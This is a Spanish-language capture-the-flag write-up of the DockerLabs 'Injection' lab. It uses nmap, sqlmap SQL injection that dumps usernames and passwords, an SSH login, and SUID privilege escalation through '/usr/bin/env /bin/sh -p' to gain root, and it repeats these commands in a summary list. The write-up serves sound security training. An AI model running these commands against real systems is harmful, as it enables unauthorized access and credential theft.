WriteUp de la máquina Injection
Este WriteUp documenta la solución para la máquina “Injection” de DockerLabs. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Resumen:
- Nombre: Injection
- Dificultad: Facil
- Autor: ElPinguinoDeMario
- Sistema Operativo: Linux
- Enlace: Dockerlabs
Progreso del WriteUp
- Reconocimiento inicial
- Análisis de servicios
- Acceso por SSH
- Escalada de privilegios
- Aprendizaje
- Comandos
- En vídeo
Reconocimiento inicial
El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:
sudo bash auto_deploy.sh injection.tar
Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:
nmap 172.17.0.2
El resultado del escaneo de puertos fue:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 15:28 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Resultado: El escaneo de puertos reveló dos servicios importantes:
- Puerto 22: Servicio SSH abierto.
- Puerto 80: Servicio HTTP abierto.
Análisis del servicio
Al visitar la página en el puerto 80, me encontré con una pantalla de inicio de sesión que requería un User
y un Password
. Al revisar el código fuente, no encontré nada relevante. Aplicando la misma lógica que en máquinas anteriores, el nombre “Injection” sugería la posibilidad de una vulnerabilidad de inyección SQL. Decidí probar la herramienta SQLmap
, como enseña mi buen amigo El Pingüino de Mario en la Academia de Ciberseguridad y Hacking Ético
sqlmap -u http://172.17.0.2 --forms --dbs --batch
Resultado: El comando me mostró las bases de datos disponibles en el sistema:
[INFO] back-end DBMS: MySQL
Available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] register
[*] sys
Con esta información, sabía que la base de datos register
podría contener datos útiles. Utilicé SQLmap
nuevamente para obtener las tablas:
sqlmap -u http://172.17.0.2 --forms -D register --tables --batch
Dentro de register
, encontré una tabla llamada users
. Luego, extraje las columnas:
sqlmap -u http://172.17.0.2 --forms -D register -T users --columns --batch
Finalmente, obtuve los datos de username
y passwd
con:
sqlmap -u http://172.17.0.2 --forms -D register -T users -C passwd,username --dump --batch
Resultado: Con este proceso, obtuve un usuario y contraseña válidos para acceder al formulario web.
Nota: Si deseas aprender más sobre inyecciones SQL o el uso de SQLmap
, te invito a visitar la Academia de Ciberseguridad y Hacking Ético
Acceso por SSH
Usando las credenciales obtenidas, logré acceder por SSH a la máquina como el usuario dylan
:
ssh dylan@172.17.0.2
Al intentar ejecutar sudo -l
, obtuve el siguiente mensaje:
-bash: sudo: command not found
Pasé a revisar el directorio /var/www/html
en busca de archivos interesantes, pero no encontré nada relevante. Entonces decidí buscar archivos con permisos SUID
con el siguiente comando:
find / -perm -4000 -ls 2>/dev/null
Resultado: Encontré varios binarios con el bit SUID
activado, entre ellos /usr/bin/env
.
Escalada de privilegios
Consultando GTFOBins, encontré que podía aprovechar el binario env
con permisos SUID
para escalar privilegios. Ejecuté el siguiente comando para obtener una shell como root:
/usr/bin/env /bin/sh -p
root
.Aprendizaje
La máquina Injection me permitió practicar habilidades de reconocimiento, Explotación mediante inyección SQL, y elevación de privilegios utilizando binarios con SUID
. Este WriteUp refuerza la importancia de revisar configuraciones inapropiadas y aprovechar las herramientas disponibles para escalar privilegios en un sistema vulnerable.
Comandos
- Despliegue de la máquina:
sudo bash auto_deploy.sh injection.tar
- Escaneo de puertos:
nmap 172.17.0.2
- Inyección SQL para obtener bases de datos:
sqlmap -u http://172.17.0.2 --forms --dbs --batch
- Obtener tablas de la base de datos
register
:sqlmap -u http://172.17.0.2 --forms -D register --tables --batch
- Obtener columnas de la tabla
users
:sqlmap -u http://172.17.0.2 --forms -D register -T users --columns --batch
- Obtener credenciales de
users
:sqlmap -u http://172.17.0.2 --forms -D register -T users -C passwd,username --dump --batch
- Buscar archivos con permisos
SUID
:find / -perm -4000 -ls 2>/dev/null
- Escalada de privilegios con
env
:/usr/bin/env /bin/sh -p